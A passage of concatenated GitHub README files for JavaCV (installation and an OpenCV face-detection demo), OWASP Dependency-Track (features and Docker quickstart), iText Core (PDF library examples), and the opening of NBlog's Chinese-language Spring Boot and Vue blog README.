(Windows only) http://codelaboratories.com/downloads/ * Android SDK API 21 or newer http://developer.android.com/sdk/ * JOCL and JOGL from JogAmp http://jogamp.org/ Finally, please make sure everything has the same bitness: **32-bit and 64-bit modules do not mix under any circumstances**. Manual Installation ------------------- Simply put all the desired JAR files (`opencv*.jar`, `ffmpeg*.jar`, etc.), in addition to `javacpp.jar` and `javacv.jar`, somewhere in your class path. Here are some more specific instructions for common cases: NetBeans (Java SE 7 or newer): 1. In the Projects window, right-click the Libraries node of your project, and select "Add JAR/Folder...". 2. Locate the JAR files, select them, and click OK. Eclipse (Java SE 7 or newer): 1. Navigate to Project > Properties > Java Build Path > Libraries and click "Add External JARs...". 2. Locate the JAR files, select them, and click OK. Visual Studio Code (Java SE 7 or newer): 1. Navigate to Java Projects > Referenced Libraries, and click `+`. 2. Locate the JAR files, select them, and click OK. IntelliJ IDEA (Android 7.0 or newer): 1. Follow the instructions on this page: http://developer.android.com/training/basics/firstapp/ 2. Copy all the JAR files into the `app/libs` subdirectory. 3. Navigate to File > Project Structure > app > Dependencies, click `+`, and select "2 File dependency". 4. Select all the JAR files from the `libs` subdirectory. After that, the wrapper classes for OpenCV and FFmpeg, for example, can automatically access all of their C/C++ APIs: * [OpenCV documentation](http://docs.opencv.org/master/) * [FFmpeg documentation](http://ffmpeg.org/doxygen/trunk/) Sample Usage ------------ The class definitions are basically ports to Java of the original header files in C/C++, and I deliberately decided to keep as much of the original syntax as possible. For example, here is a method that tries to load an image file, smooth it, and save it back to disk: ```java import org.bytedeco.opencv.opencv_core.*; import org.bytedeco.opencv.opencv_imgproc.*; import static org.bytedeco.opencv.global.opencv_core.*; import static org.bytedeco.opencv.global.opencv_imgproc.*; import static org.bytedeco.opencv.global.opencv_imgcodecs.*; public class Smoother { public static void smooth(String filename) { Mat image = imread(filename); if (image != null) { GaussianBlur(image, image, new Size(3, 3), 0); imwrite(filename, image); } } } ``` JavaCV also comes with helper classes and methods on top of OpenCV and FFmpeg to facilitate their integration to the Java platform. Here is a small demo program demonstrating the most frequently useful parts: ```java import java.io.File; import java.net.URL; import org.bytedeco.javacv.*; import org.bytedeco.javacpp.*; import org.bytedeco.javacpp.indexer.*; import org.bytedeco.opencv.opencv_core.*; import org.bytedeco.opencv.opencv_imgproc.*; import org.bytedeco.opencv.opencv_calib3d.*; import org.bytedeco.opencv.opencv_objdetect.*; import static org.bytedeco.opencv.global.opencv_core.*; import static org.bytedeco.opencv.global.opencv_imgproc.*; import static org.bytedeco.opencv.global.opencv_calib3d.*; import static org.bytedeco.opencv.global.opencv_objdetect.*; public class Demo { public static void main(String[] args) throws Exception { String classifierName = null; if (args.length > 0) { classifierName = args[0]; } else { URL url = new URL("https://raw.github.com/opencv/opencv/master/data/haarcascades/haarcascade_frontalface_alt.xml"); File file = Loader.cacheResource(url); classifierName = file.getAbsolutePath(); } // We can "cast" Pointer objects by instantiating a new object of the desired class. CascadeClassifier classifier = new CascadeClassifier(classifierName); if (classifier == null) { System.err.println("Error loading classifier file \"" + classifierName + "\"."); System.exit(1); } // The available FrameGrabber classes include OpenCVFrameGrabber (opencv_videoio), // DC1394FrameGrabber, FlyCapture2FrameGrabber, OpenKinectFrameGrabber, OpenKinect2FrameGrabber, // RealSenseFrameGrabber, RealSense2FrameGrabber, PS3EyeFrameGrabber, VideoInputFrameGrabber, and FFmpegFrameGrabber. FrameGrabber grabber = FrameGrabber.createDefault(0); grabber.start(); // CanvasFrame, FrameGrabber, and FrameRecorder use Frame objects to communicate image data. // We need a FrameConverter to interface with other APIs (Android, Java 2D, JavaFX, Tesseract, OpenCV, etc). OpenCVFrameConverter.ToMat converter = new OpenCVFrameConverter.ToMat(); // FAQ about IplImage and Mat objects from OpenCV: // - For custom raw processing of data, createBuffer() returns an NIO direct // buffer wrapped around the memory pointed by imageData, and under Android we can // also use that Buffer with Bitmap.copyPixelsFromBuffer() and copyPixelsToBuffer(). // - To get a BufferedImage from an IplImage, or vice versa, we can chain calls to // Java2DFrameConverter and OpenCVFrameConverter, one after the other. // - Java2DFrameConverter also has static copy() methods that we can use to transfer // data more directly between BufferedImage and IplImage or Mat via Frame objects. Mat grabbedImage = converter.convert(grabber.grab()); int height = grabbedImage.rows(); int width = grabbedImage.cols(); // Objects allocated with `new`, clone(), or a create*() factory method are automatically released // by the garbage collector, but may still be explicitly released by calling deallocate(). // You shall NOT call cvReleaseImage(), cvReleaseMemStorage(), etc. on objects allocated this way. Mat grayImage = new Mat(height, width, CV_8UC1); Mat rotatedImage = grabbedImage.clone(); // The OpenCVFrameRecorder class simply uses the VideoWriter of opencv_videoio, // but FFmpegFrameRecorder also exists as a more versatile alternative. FrameRecorder recorder = FrameRecorder.createDefault("output.avi", width, height); recorder.start(); // CanvasFrame is a JFrame containing a Canvas component, which is hardware accelerated. // It can also switch into full-screen mode when called with a screenNumber. // We should also specify the relative monitor/camera response for proper gamma correction. CanvasFrame frame = new CanvasFrame("Some Title", CanvasFrame.getDefaultGamma()/grabber.getGamma()); // Let's create some random 3D rotation... Mat randomR = new Mat(3, 3, CV_64FC1), randomAxis = new Mat(3, 1, CV_64FC1); // We can easily and efficiently access the elements of matrices and images // through an Indexer object with the set of get() and put() methods. DoubleIndexer Ridx = randomR.createIndexer(), axisIdx = randomAxis.createIndexer(); axisIdx.put(0, (Math.random() - 0.5) / 4, (Math.random() - 0.5) / 4, (Math.random() - 0.5) / 4); Rodrigues(randomAxis, randomR); double f = (width + height) / 2.0; Ridx.put(0, 2, Ridx.get(0, 2) * f); Ridx.put(1, 2, Ridx.get(1, 2) * f); Ridx.put(2, 0, Ridx.get(2, 0) / f); Ridx.put(2, 1, Ridx.get(2, 1) / f); System.out.println(Ridx); // We can allocate native arrays using constructors taking an integer as argument. Point hatPoints = new Point(3); while (frame.isVisible() && (grabbedImage = converter.convert(grabber.grab())) != null) { // Let's try to detect some faces! but we need a grayscale image... cvtColor(grabbedImage, grayImage, CV_BGR2GRAY); RectVector faces = new RectVector(); classifier.detectMultiScale(grayImage, faces); long total = faces.size(); for (long i = 0; i < total; i++) { Rect r = faces.get(i); int x = r.x(), y = r.y(), w = r.width(), h = r.height(); rectangle(grabbedImage, new Point(x, y), new Point(x + w, y + h), Scalar.RED, 1, CV_AA, 0); // To access or pass as argument the elements of a native array, call position() before. hatPoints.position(0).x(x - w / 10 ).y(y - h / 10); hatPoints.position(1).x(x + w * 11 / 10).y(y - h / 10); hatPoints.position(2).x(x + w / 2 ).y(y - h / 2 ); fillConvexPoly(grabbedImage, hatPoints.position(0), 3, Scalar.GREEN, CV_AA, 0); } // Let's find some contours! but first some thresholding... threshold(grayImage, grayImage, 64, 255, CV_THRESH_BINARY); // To check if an output argument is null we may call either isNull() or equals(null). MatVector contours = new MatVector(); findContours(grayImage, contours, CV_RETR_LIST, CV_CHAIN_APPROX_SIMPLE); long n = contours.size(); for (long i = 0; i < n; i++) { Mat contour = contours.get(i); Mat points = new Mat(); approxPolyDP(contour, points, arcLength(contour, true) * 0.02, true); drawContours(grabbedImage, new MatVector(points), -1, Scalar.BLUE); } warpPerspective(grabbedImage, rotatedImage, randomR, rotatedImage.size()); Frame rotatedFrame = converter.convert(rotatedImage); frame.showImage(rotatedFrame); recorder.record(rotatedFrame); } frame.dispose(); recorder.stop(); grabber.stop(); } } ``` Furthermore, after creating a `pom.xml` file with the following content: ```xml <project> <modelVersion>4.0.0</modelVersion> <groupId>org.bytedeco.javacv</groupId> <artifactId>demo</artifactId> <version>1.5.10</version> <properties> <maven.compiler.source>1.7</maven.compiler.source> <maven.compiler.target>1.7</maven.compiler.target> </properties> <dependencies> <dependency> <groupId>org.bytedeco</groupId> <artifactId>javacv-platform</artifactId> <version>1.5.10</version> </dependency> <!-- Additional dependencies required to use CUDA and cuDNN --> <dependency> <groupId>org.bytedeco</groupId> <artifactId>opencv-platform-gpu</artifactId> <version>4.9.0-1.5.10</version> </dependency> <!-- Optional GPL builds with (almost) everything enabled --> <dependency> <groupId>org.bytedeco</groupId> <artifactId>ffmpeg-platform-gpl</artifactId> <version>6.1.1-1.5.10</version> </dependency> </dependencies> <build> <sourceDirectory>.</sourceDirectory> </build> </project> ``` And by placing the source code above in `Demo.java`, or similarly for other classes found in the [`samples`](samples), we can use the following command to have everything first installed automatically and then executed by Maven: ```bash $ mvn compile exec:java -Dexec.mainClass=Demo ``` **Note**: In case of errors, please make sure that the `artifactId` in the `pom.xml` file reads `javacv-platform`, not `javacv` only, for example. The artifact `javacv-platform` adds all the necessary binary dependencies. Build Instructions ------------------ If the binary files available above are not enough for your needs, you might need to rebuild them from the source code. To this end, the project files were created for: * Maven 3.x http://maven.apache.org/download.html * JavaCPP 1.5.10 https://github.com/bytedeco/javacpp * JavaCPP Presets 1.5.10 https://github.com/bytedeco/javacpp-presets Once installed, simply call the usual `mvn install` command for JavaCPP, its Presets, and JavaCV. By default, no other dependencies than a C++ compiler for JavaCPP are required. Please refer to the comments inside the `pom.xml` files for further details. Instead of building the native libraries manually, we can run `mvn install` for JavaCV only and rely on the snapshot artifacts from the CI builds: * http://bytedeco.org/builds/ ---- Project lead: Samuel Audet [samuel.audet `at` gmail.com](mailto:samuel.audet&nbsp;at&nbsp;gmail.com) Developer site: https://github.com/bytedeco/javacv Discussion group: http://groups.google.com/group/javacv

DependencyTrack/dependency-track

Dependency-Track is an intelligent Component Analysis platform that allows organizations to identify and reduce risk in the software supply chain.

2013-07-16T19:16:43Z

[](https://github.com/DependencyTrack/dependency-track/actions?workflow=CI+Build) [](https://www.codacy.com/gh/DependencyTrack/dependency-track/dashboard?utm_source=github.com&amp;utm_medium=referral&amp;utm_content=DependencyTrack/dependency-track&amp;utm_campaign=Badge_Grade) [](https://github.com/stevespringett/Alpine) [![License][license-image]][Apache License 2.0] [](https://www.owasp.org/index.php/OWASP_Dependency_Track_Project) [](https://dependencytrack.org/) [](https://docs.dependencytrack.org/) [](https://dependencytrack.org/slack) [](https://dependencytrack.org/discussion) [](https://dependencytrack.org/youtube) [](https://twitter.com/dependencytrack) [](https://github.com/DependencyTrack/dependency-track/releases) [](https://github.com/DependencyTrack/dependency-track/releases) [](https://hub.docker.com/r/dependencytrack/apiserver/) [](https://hub.docker.com/r/dependencytrack/frontend/) [](https://hub.docker.com/r/dependencytrack/bundled/) [](https://hub.docker.com/r/owasp/dependency-track/)  Dependency-Track is an intelligent [Component Analysis] platform that allows organizations to identify and reduce risk in the software supply chain. Dependency-Track takes a unique and highly beneficial approach by leveraging the capabilities of [Software Bill of Materials] (SBOM). This approach provides capabilities that traditional Software Composition Analysis (SCA) solutions cannot achieve. Dependency-Track monitors component usage across all versions of every application in its portfolio in order to proactively identify risk across an organization. The platform has an API-first design and is ideal for use in CI/CD environments. ## Ecosystem Overview  ## Features * Consumes and produces [CycloneDX] Software Bill of Materials (SBOM) * Consumes and produces [CycloneDX Vulnerability Exploitability Exchange (VEX)](https://cyclonedx.org/capabilities/vex/) * Component support for: * Applications * Libraries * Frameworks * Operating systems * Containers * Firmware * Files * Hardware * Services * Tracks component usage across every application in an organizations portfolio * Quickly identify what is affected, and where * Identifies multiple forms of risk including * Components with known vulnerabilities * Out-of-date components * Modified components * License risk * More coming soon... * Integrates with multiple sources of vulnerability intelligence including: * [National Vulnerability Database] (NVD) * [GitHub Advisories] * [Sonatype OSS Index] * [Snyk] * [Trivy] * [OSV] * [VulnDB] from [Risk Based Security] * More coming soon. * Helps to prioritize mitigation by incorporating support for the [Exploit Prediction Scoring System (EPSS)](https://www.first.org/epss/) * Maintain a private vulnerability database of vulnerability components * Robust policy engine with support for global and per-project policies * Security risk and compliance * License risk and compliance * Operational risk and compliance * Ecosystem agnostic with built-in repository support for: * Cargo (Rust) * Composer (PHP) * Gems (Ruby) * Hex (Erlang/Elixir) * Maven (Java) * NPM (Javascript) * CPAN (Perl) * NuGet (.NET) * PyPI (Python) * More coming soon. * Identifies APIs and external service components including: * Service provider * Endpoint URIs * Data classification * Directional flow of data * Trust boundary traversal * Authentication requirements * Includes a comprehensive auditing workflow for triaging results * Configurable notifications supporting Slack, Microsoft Teams, Mattermost, Webhooks, Webex, Email and Jira * Supports standardized SPDX license ID’s and tracks license use by component * Easy to read metrics for components, projects, and portfolio * Native support for Kenna Security, Fortify SSC, ThreadFix, and DefectDojo * API-first design facilitates easy integration with other systems * API documentation available in OpenAPI format * OAuth 2.0 + OpenID Connect (OIDC) support for single sign-on (authN/authZ) * Supports internally managed users, Active Directory/LDAP, and API Keys * Simple to install and configure. Get up and running in just a few minutes <hr>  ### Quickstart (Docker Compose) ```bash # Downloads the latest Docker Compose file curl -LO https://dependencytrack.org/docker-compose.yml # Starts the stack using Docker Compose docker-compose up -d ``` ### Quickstart (Docker Swarm) ```bash # Downloads the latest Docker Compose file curl -LO https://dependencytrack.org/docker-compose.yml # Initializes Docker Swarm (if not previously initialized) docker swarm init # Starts the stack using Docker Swarm docker stack deploy -c docker-compose.yml dtrack ``` ### Quickstart (Manual Execution) ```bash # Pull the image from the Docker Hub OWASP repo docker pull dependencytrack/bundled # Creates a dedicated volume where data can be stored outside the container docker volume create --name dependency-track # Run the bundled container with 8GB RAM on port 8080 docker run -d -m 8192m -p 8080:8080 --name dependency-track -v dependency-track:/data dependencytrack/bundled ``` **NOTICE: Always use official binary releases in production.** ## Distributions Dependency-Track has three distribution variants. They are: | Package | Package Format | Recommended | Supported | Docker | Download | |:-----------|:------------------------|:-----------:|:---------:|:------:|:--------:| | API Server | Executable WAR | ✅ | ✅ | ✅ | ✅ | | Frontend | Single Page Application | ✅ | ✅ | ✅ | ✅ | | Bundled | Executable WAR | ❌ | ☑️ | ✅ | ✅ | #### API Server The API Server contains an embedded Jetty server and all server-side functionality, but excludes the frontend user interface. This variant is new as of Dependency-Track v4.0. #### Frontend The [Frontend](https://github.com/DependencyTrack/frontend) is the user interface that is accessible in a web browser. The Frontend is a Single Page Application (SPA) that can be deployed independently of the Dependency-Track API Server. This variant is new as of Dependency-Track v3.8. #### Bundled The Bundled variant combines the API Server and the Frontend user interface. This variant was previously referred to as the executable war and was the preferred distribution from Dependency-Track v3.0 - v3.8. This variant is supported but deprecated and will be discontinued in a future release. #### Traditional The Traditional variant combines the API Server and the Frontend user interface and must be deployed to a Servlet container. This variant is not supported, deprecated, and will be discontinued in a future release. ## Deploying on Kubernetes with Helm Refer to https://github.com/DependencyTrack/helm-charts. ## Contributing Interested in contributing to Dependency-Track? Please check [`CONTRIBUTING.md`](./CONTRIBUTING.md) to see how you can help! ## Resources * Website: <https://dependencytrack.org/> * Documentation: <https://docs.dependencytrack.org/> * Component Analysis: <https://owasp.org/www-community/Component_Analysis> ## Community * Twitter: <https://dependencytrack.org/twitter> * YouTube: <https://dependencytrack.org/youtube> * Slack: <https://dependencytrack.org/slack> (Invite: <https://dependencytrack.org/slack/invite>) * Discussion (Groups.io): <https://dependencytrack.org/discussion> ## Copyright & License Dependency-Track is Copyright (c) OWASP Foundation. All Rights Reserved. Permission to modify and redistribute is granted under the terms of the [Apache License 2.0]. Dependency-Track makes use of several other open source libraries. Please see the [notices] file for more information. [National Vulnerability Database]: https://nvd.nist.gov [GitHub Advisories]: https://www.github.com/advisories [Sonatype OSS Index]: https://ossindex.sonatype.org [Snyk]: https://snyk.io [Trivy]: https://www.aquasec.com/products/trivy/ [OSV]: https://osv.dev [VulnDB]: https://vulndb.cyberriskanalytics.com [Risk Based Security]: https://www.riskbasedsecurity.com [Component Analysis]: https://owasp.org/www-community/Component_Analysis [Software Bill of Materials]: https://owasp.org/www-community/Component_Analysis#software-bill-of-materials-sbom [CycloneDX]: https://cyclonedx.org [license-image]: https://img.shields.io/badge/license-apache%20v2-brightgreen.svg [Apache License 2.0]: https://github.com/DependencyTrack/dependency-track/blob/master/LICENSE.txt [notices]: https://github.com/DependencyTrack/dependency-track/blob/master/NOTICES.txt [Alpine]: https://github.com/stevespringett/Alpine

itext/itext-java

iText for Java represents the next level of SDKs for developers that want to take advantage of the benefits PDF can bring. Equipped with a better document engine, high and low-level programming capabilities and the ability to create, edit and enhance PDF documents, iText can be a boon to nearly every workflow.

2016-05-03T07:45:39Z

<p align="center"> <img src="./assets/iText_Logo_Small.png" alt="Logo iText"> </p> [](https://mvnrepository.com/artifact/com.itextpdf/itext-core) [](https://github.com/itext/itext7/blob/master/LICENSE.md) [](https://github.com/itext/itext7/releases/latest)  iText Core/Community is a high-performance, battle-tested library that allows you to create, adapt, inspect and maintain PDF documents, allowing you to add PDF functionality to your software projects with ease. It is also available for .[NET][itext7net] (C#). ### The key features of iText Core/Community are: * Core library: * PDF creation with the use of our layout engine * PDF manipulation, e.g. merging multiple PDFs into one, adding new content, ... * PDF digital signing * PDF form creation and manipulation * Working with PDF/A documents * Working with PDF/UA documents * FIPS-compliant cryptography * Barcode generation * SVG support * [Addons:][all products] * Converting XML/HTML & CSS to PDF [repo][pdfhtml], [info][pdfhtmlproduct] * Redacting sensitive information in PDF documents [repo][pdfsweep], [info][pdfsweepproduct] * Support for international character sets (e.g. Arabic, Chinese, Hebrew, Thai, ...) [info][calligraph] * Optimize PDF documents for reduced file size, and increased performance [info][optimizer] * Flattening XFA documents [info][xfa] * PDF debugging [repo][rups], [info][rupsproduct] Want to discover what's possible? Head over to our [Demo Lab](https://itextpdf.com/demos)! It contains a collection of demo applications ready to use online! ### Getting started The easiest way to get started is to use Maven, just add the following entries to your pom.xml file: ```html <properties> <itext.version>8.0.2</itext.version> </properties> <dependencies> <dependency> <groupId>com.itextpdf</groupId> <artifactId>itext-core</artifactId> <version>${itext.version}</version> <type>pom</type> </dependency> <dependency> <groupId>com.itextpdf</groupId> <artifactId>bouncy-castle-adapter</artifactId> <version>${itext.version}</version> </dependency> </dependencies> ``` For more advanced use cases, please refer to the [Installation guidelines](https://kb.itextpdf.com/home/it7kb/installation-guidelines). You can also [build iText Community from source][building]. ### Hello PDF! The following example shows how easy it is to create a simple PDF document: ```java package com.itextpdf.hellopdf; import com.itextpdf.kernel.pdf.PdfDocument; import com.itextpdf.kernel.pdf.PdfWriter; import com.itextpdf.layout.Document; import com.itextpdf.layout.element.Paragraph; import java.io.FileNotFoundException; public class HelloPdfApp { public static void main(String[] args) throws FileNotFoundException { try (Document document = new Document(new PdfDocument(new PdfWriter("./hello-pdf.pdf")))) { document.add(new Paragraph("Hello PDF!")); } } } ``` ### Examples This is a small subset of examples to get you started. For more advanced examples, refer to our [Knowledge Base](https://kb.itextpdf.com/home/it7kb/examples) or the following links: [Examples repo](https://github.com/itext/i7js-examples), [Signing examples](https://github.com/itext/i7js-signing-examples). Some of the output PDF files will be incorrectly displayed by the GitHub previewer, so be sure to download them to see the correct results. | Description | Link | |--------------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | **Basic layout** | | | Change text properties | [Java](https://github.com/itext/i7js-examples/blob/master/src/main/java/com/itextpdf/samples/sandbox/layout/ParagraphTextWithStyle.java), [PDF](https://github.com/itext/i7js-examples/blob/master/cmpfiles/sandbox/layout/cmp_paragraphTextWithStyle.pdf) | | Creating a simple table | [Java](https://github.com/itext/i7js-examples/blob/master/src/main/java/com/itextpdf/samples/sandbox/tables/SimpleTable9.java), [PDF](https://github.com/itext/i7js-examples/blob/master/cmpfiles/sandbox/tables/cmp_simple_table9.pdf) | | Add an image to a PDF document | [Java](https://github.com/itext/i7js-examples/blob/master/src/main/java/com/itextpdf/samples/sandbox/images/MultipleImages.java), [PDF](https://github.com/itext/i7js-examples/blob/master/cmpfiles/sandbox/images/cmp_multiple_images.pdf) | | Create a list | [Java](https://github.com/itext/i7js-examples/blob/master/src/main/java/com/itextpdf/samples/sandbox/objects/NestedLists.java), [PDF](https://github.com/itext/i7js-examples/blob/master/cmpfiles/sandbox/objects/cmp_nested_list.pdf) | | Add a watermark | [Java](https://github.com/itext/i7js-examples/blob/master/src/main/java/com/itextpdf/samples/sandbox/events/Watermarking.java), [PDF](https://github.com/itext/i7js-examples/blob/master/cmpfiles/sandbox/events/cmp_watermarkings.pdf) | | Add links to navigate within a document | [Java](https://github.com/itext/i7js-examples/blob/master/src/main/java/com/itextpdf/samples/sandbox/annotations/AddLinkAnnotation5.java), [PDF](https://github.com/itext/i7js-examples/blob/master/cmpfiles/sandbox/annotations/cmp_add_link_annotation5.pdf) | | Create a popup annotation | [Java](https://github.com/itext/i7js-examples/blob/master/src/main/java/com/itextpdf/samples/sandbox/annotations/MovePopup.java), [PDF](https://github.com/itext/i7js-examples/blob/master/cmpfiles/sandbox/annotations/cmp_move_popup.pdf) | | Change font | [Java](https://github.com/itext/i7js-examples/blob/master/src/main/java/com/itextpdf/samples/sandbox/layout/ParagraphTextWithStyle.java) | | Add form fields | [Java](https://kb.itextpdf.com/home/it7kb/examples/forms-in-itext-core-8-0-0) | <br> | | | **General document settings** | | | Change page size and margin | [Java](https://github.com/itext/i7js-examples/blob/master/src/main/java/com/itextpdf/samples/sandbox/layout/PageSizeAndMargins.java), [PDF](https://github.com/itext/i7js-examples/blob/master/cmpfiles/sandbox/layout/cmp_pageSizeAndMargins.pdf) | | Write PDF to byte array instead of to disk | [Java](https://stackoverflow.com/a/67411657/10015628) | | Change page rotation | [Java](https://github.com/itext/i7js-examples/blob/master/src/main/java/com/itextpdf/samples/sandbox/events/PageRotation.java), [PDF](https://github.com/itext/i7js-examples/blob/master/cmpfiles/sandbox/events/cmp_page_rotation.pdf) | | Add header and footer | [Java](https://github.com/itext/i7js-examples/blob/master/src/main/java/com/itextpdf/samples/sandbox/events/TextFooter.java), [PDF](https://github.com/itext/i7js-examples/blob/master/cmpfiles/sandbox/events/cmp_text_footer.pdf) | | Merge documents | [Java](https://github.com/itext/i7js-examples/blob/master/src/main/java/com/itextpdf/samples/sandbox/merge/AddCover1.java), [PDF](https://github.com/itext/i7js-examples/blob/master/cmpfiles/sandbox/merge/cmp_add_cover.pdf) | | Flatten annotations | [Java](https://kb.itextpdf.com/home/it7kb/examples/high-level-annotation-flattening) | | <br> | | | **PDF/UA, PDF/A** | | | Create PDF/UA document | [Java](https://github.com/itext/i7js-examples/blob/master/src/main/java/com/itextpdf/samples/sandbox/pdfua/PdfUA.java), [PDF](https://github.com/itext/i7js-examples/blob/master/cmpfiles/sandbox/pdfua/cmp_pdf_ua.pdf) | | Create PDF/A-3 document | [Java](https://github.com/itext/i7js-examples/blob/master/src/main/java/com/itextpdf/samples/sandbox/pdfa/PdfA3.java) | | <br> | | | **FIPS** | | | Enable FIPS | [Java](https://kb.itextpdf.com/home/it7kb/releases/release-itext-core-8-0-0/breaking-changes-for-itext-core-8-0-0/bouncy-castle-changes) | | FIPS SHA3 example | [Java](https://kb.itextpdf.com/home/it7kb/examples/fips-sha3-examples-for-itext-core-8-0-0) | | <br> | | | **Convert HTML and CSS to PDF** | [Link to repo](https://github.com/itext/i7j-pdfhtml) | | Convert simple HTML doc to PDF | [Java](https://kb.itextpdf.com/home/it7kb/ebooks/itext-7-converting-html-to-pdf-with-pdfhtml) | | <br> | | | **Secure redaction of content** | [Link to repo](https://github.com/itext/i7j-pdfsweep) | | Redacting content | [Java](https://kb.itextpdf.com/home/it7kb/examples/removing-content-with-pdfsweep) | | Redact based on regex | [Java](https://itextpdf.com/products/pdf-redaction-pdfsweep) | | <br> | | | **Support complex writing systems** | [Link to docs](https://itextpdf.com/products/pdfcalligraph) | | Add Arabic text | [Java](https://github.com/itext/i7js-examples/blob/master/src/main/java/com/itextpdf/samples/sandbox/typography/arabic/ArabicWordSpacing.java), [PDF](https://github.com/itext/i7js-examples/blob/master/cmpfiles/sandbox/typography/cmp_ArabicWordSpacing.pdf) | | <br> | | | **Optimizing PDFs** | [Link to docs](https://itextpdf.com/products/compress-pdf-pdfoptimizer) | | Reduce size of PDF | [Java](https://itextpdf.com/products/compress-pdf-pdfoptimizer) | | <br> | | | **XFA flattening** | [Link to docs](https://itextpdf.com/products/flatten-pdf-pdfxfa) | | Flatten an XFA document | [Java](https://itextpdf.com/products/flatten-pdf-pdfxfa) | | <br> | | | **RUPS** | [Link to repo](https://github.com/itext/i7j-rups) | | Debug a PDF | [Java](https://github.com/itext/i7j-rups/releases/latest) | ### FAQs, tutorials, etc. ### Check out the [iText Knowledge Base](https://kb.itextpdf.com) for the [iText Jump-start tutorial](https://kb.itextpdf.com/home/it7kb/ebooks/itext-jump-start-tutorial-for-java) and other tutorials, [FAQs](https://kb.itextpdf.com/home/it7kb/faq) and more. For specific information and examples relating to digital signatures and iText, make sure to check the [Digital Signatures Hub](https://kb.itextpdf.com/home/it7kb/digital-signatures-hub). Many common questions have already been answered on [Stack Overflow](https://stackoverflow.com/questions/tagged/itext+itext7), so make sure to also check there. ### Contributing Many people have contributed to **iText Core/Community** over the years. If you've found a bug, a mistake in documentation, or have a hot new feature you want to implement, we welcome your contributions. Small changes or fixes can be submitted as a [Pull Request](https://github.com/itext/itext7/pulls), while for major changes we request you contact us at community@apryse.com so we can better coordinate our efforts and prevent duplication of work. Please read our [Contribution Guidelines][contributing] for details on code submissions, coding rules, and more. ### Licensing **iText** is dual licensed as [AGPL][agpl]/[Commercial software][sales]. AGPL is a free/open-source software license, however, this doesn't mean the software is [gratis][gratis]! The AGPL is a copyleft license, which means that any derivative work must also be licensed under the same terms. If you’re using iText in software or a service which cannot comply with the AGPL terms, we have a commercial license available that exempts you from such obligations. Contact [Sales] for more info. [agpl]: LICENSE.md [building]: BUILDING.md [contributing]: CONTRIBUTING.md [layoutMd]: layout/README.md [itext]: https://itextpdf.com/ [github]: https://github.com/itext/itext7 [latest]: https://github.com/itext/itext7/releases/latest [sales]: https://itextpdf.com/sales [gratis]: https://en.wikipedia.org/wiki/Gratis_versus_libre [rups]: https://github.com/itext/i7j-rups [pdfhtml]: https://github.com/itext/i7j-pdfhtml [pdfsweep]: https://github.com/itext/i7j-pdfsweep [itext7net]: https://github.com/itext/itext7-dotnet [pdfsweepproduct]: https://itextpdf.com/products/pdf-redaction-pdfsweep [optimizer]: https://itextpdf.com/products/compress-pdf-pdfoptimizer [all products]: https://itextpdf.com/products [pdfhtmlproduct]: https://itextpdf.com/products/itext-pdf-html [xfa]: https://itextpdf.com/products/flatten-pdf-pdfxfa [rupsproduct]: https://itextpdf.com/products/rups [calligraph]: https://itextpdf.com/products/pdfcalligraph

Naccl/NBlog

🍓 Spring Boot + Vue 前后端分离博客系统 https://naccl.top

2020-07-18T12:33:00Z

<p align="center"> <a href="https://naccl.top/" target="_blank"> <img src="./pic/NBlog.png" alt="NBlog logo" style="width: 200px; height: 200px"> </a> </p> <p align="center"> <img src="https://img.shields.io/badge/JDK-1.8+-orange"> <img src="https://img.shields.io/badge/SpringBoot-2.2.7.RELEASE-brightgreen"> <img src="https://img.shields.io/badge/MyBatis-3.5.5-red"> <img src="https://img.shields.io/badge/Vue-2.6.11-brightgreen"> <img src="https://img.shields.io/badge/license-MIT-blue"> <img src="https://hits.seeyoufarm.com/api/count/incr/badge.svg?url=https%3A%2F%2Fgithub.com%2FNaccl%2FNBlog&count_bg=%2344CC11&title_bg=%23555555&icon=notist.svg&icon_color=%231296DB&title=hits&edge_flat=false"> </p> ## 简介 Spring Boot + Vue「前后端分离，人不分离」博客系统 自用博客，长期维护，欢迎勘误 预览地址： 前台：[https://naccl.top](https://naccl.top) 后台：[https://admin.naccl.top](https://admin.naccl.top) ## 后端 1. 核心框架：[Spring Boot](https://github.com/spring-projects/spring-boot) 2. 安全框架：[Spring Security](https://github.com/spring-projects/spring-security) 3. Token：[jjwt](https://github.com/jwtk/jjwt) 4. ORM 框架：[MyBatis](https://github.com/mybatis/spring-boot-starter) 5. 分页插件：[PageHelper](https://github.com/pagehelper/Mybatis-PageHelper) 6. NoSQL 缓存：[Redis](https://github.com/redis/redis) 7. Markdown 转 HTML：[commonmark-java](https://github.com/commonmark/commonmark-java) 8. 离线 IP 地址库：[ip2region](https://github.com/lionsoul2014/ip2region) 9. 定时任务：[quartz](https://github.com/quartz-scheduler/quartz) 10. UserAgent 解析：[yauaa](https://github.com/nielsbasjes/yauaa) 邮件模板参考自 [Typecho-CommentToMail-Template](https://github.com/MisakaTAT/Typecho-CommentToMail-Template) ## 前端 核心框架：Vue2.x、Vue Router、Vuex Vue 项目基于 @vue/cli4.x 构建 JS 依赖及参考的 css：[axios](https://github.com/axios/axios)、[moment](https://github.com/moment/moment)、[nprogress](https://github.com/rstacruz/nprogress)、[v-viewer](https://github.com/fengyuanchen/viewerjs)、[prismjs](https://github.com/PrismJS/prism)、[APlayer](https://github.com/DIYgod/APlayer)、[MetingJS](https://github.com/metowolf/MetingJS)、[lodash](https://github.com/lodash/lodash)、[mavonEditor](https://github.com/hinesboy/mavonEditor)、[echarts](https://github.com/apache/echarts)、[tocbot](https://github.com/tscanlin/tocbot)、[iCSS](https://github.com/chokcoco/iCSS) **由 [@willWang8023](https://github.com/willWang8023) 维护的 Vue3 版本请查看 [blog-view-vue3](https://github.com/willWang8023/blog-view-vue3)** ### 后台 UI 后台基于 [vue-admin-template](https://github.com/PanJiaChen/vue-admin-template) 二次修改后的 [my-vue-admin-template](https://github.com/Naccl/my-vue-admin-template) 模板进行开发（[于2021年11月1日重构](https://github.com/Naccl/NBlog/commit/b33641fe34b2bed34e8237bacf67146cd64be4cf)） UI 框架为 [Element UI](https://github.com/ElemeFE/element) ### 前台 UI [Semantic UI](https://semantic-ui.com/)：主要使用，页面布局样式，个人感觉挺好看的 UI 框架，比较适合前台界面的开发，语义化的 css，前一版博客系统使用过，可惜该框架 Vue 版的开发完成度不高，见 [Semantic UI Vue](https://semantic-ui-vue.github.io/#/) [Element UI](https://github.com/ElemeFE/element)：部分使用，一些小组件，弥补了 Semantic UI 的不足，便于快速实现效果 文章排版：基于 